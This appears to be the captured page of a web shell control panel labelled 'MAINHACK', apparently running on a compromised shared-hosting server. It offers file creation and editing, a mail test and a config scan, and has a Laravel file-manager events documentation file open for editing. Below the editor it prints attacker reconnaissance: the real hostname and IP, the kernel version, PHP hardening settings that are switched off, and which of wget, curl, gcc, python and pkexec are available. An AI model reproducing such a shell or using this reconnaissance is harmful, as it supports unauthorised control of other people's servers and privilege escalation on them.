[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: events.md
## List of events * File * UniSharp\LaravelFilemanager\Events\FileIsUploading * UniSharp\LaravelFilemanager\Events\FileWasUploaded * UniSharp\LaravelFilemanager\Events\FileIsRenaming * UniSharp\LaravelFilemanager\Events\FileWasRenamed * UniSharp\LaravelFilemanager\Events\FileIsMoving * UniSharp\LaravelFilemanager\Events\FileWasMoving * UniSharp\LaravelFilemanager\Events\FileIsDeleting * UniSharp\LaravelFilemanager\Events\FileWasDeleted * Image * UniSharp\LaravelFilemanager\Events\ImageIsUploading * UniSharp\LaravelFilemanager\Events\ImageWasUploaded * UniSharp\LaravelFilemanager\Events\ImageIsRenaming * UniSharp\LaravelFilemanager\Events\ImageWasRenamed * UniSharp\LaravelFilemanager\Events\ImageIsResizing * UniSharp\LaravelFilemanager\Events\ImageWasResized * UniSharp\LaravelFilemanager\Events\ImageIsCropping * UniSharp\LaravelFilemanager\Events\ImageWasCropped * UniSharp\LaravelFilemanager\Events\ImageIsDeleting * UniSharp\LaravelFilemanager\Events\ImageWasDeleted * Folder * UniSharp\LaravelFilemanager\Events\FolderIsCreating * UniSharp\LaravelFilemanager\Events\FolderWasCreated * UniSharp\LaravelFilemanager\Events\FolderIsRenaming * UniSharp\LaravelFilemanager\Events\FolderWasRenamed * UniSharp\LaravelFilemanager\Events\FolderIsMoving * UniSharp\LaravelFilemanager\Events\FolderWasMoving * UniSharp\LaravelFilemanager\Events\FolderIsDeleting * UniSharp\LaravelFilemanager\Events\FolderWasDeleted ## How to use * Sample code : [laravel-filemanager-demo-events](https://github.com/UniSharp/laravel-filemanager-demo-events) * To use events you can add a listener to listen to the events. Snippet for `EventServiceProvider` ```php protected $listen = [ ImageWasUploaded::class => [ UploadListener::class, ], ]; ``` The `UploadListener` will look like: ```php class UploadListener { public function handle($event) { $method = 'on'.class_basename($event); if (method_exists($this, $method)) { call_user_func([$this, $method], $event); } } public function onImageWasUploaded(ImageWasUploaded $event) { $path = $event->path(); //your code, for example resizing and cropping } } ``` * Or by using Event Subscribers Snippet for `EventServiceProvider` ```php protected $subscribe = [ UploadListener::class ]; ``` The `UploadListener` will look like: ```php public function subscribe($events) { $events->listen('*', UploadListener::class); } public function handle($event) { $method = 'on'.class_basename($event); if (method_exists($this, $method)) { call_user_func([$this, $method], $event); } } public function onImageWasUploaded(ImageWasUploaded $event) { $path = $event->path(); // your code, for example resizing and cropping } public function onImageWasRenamed(ImageWasRenamed $event) { // image was renamed } public function onImageWasDeleted(ImageWasDeleted $event) { // image was deleted } public function onFolderWasRenamed(FolderWasRenamed $event) { // folder was renamed } ```
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285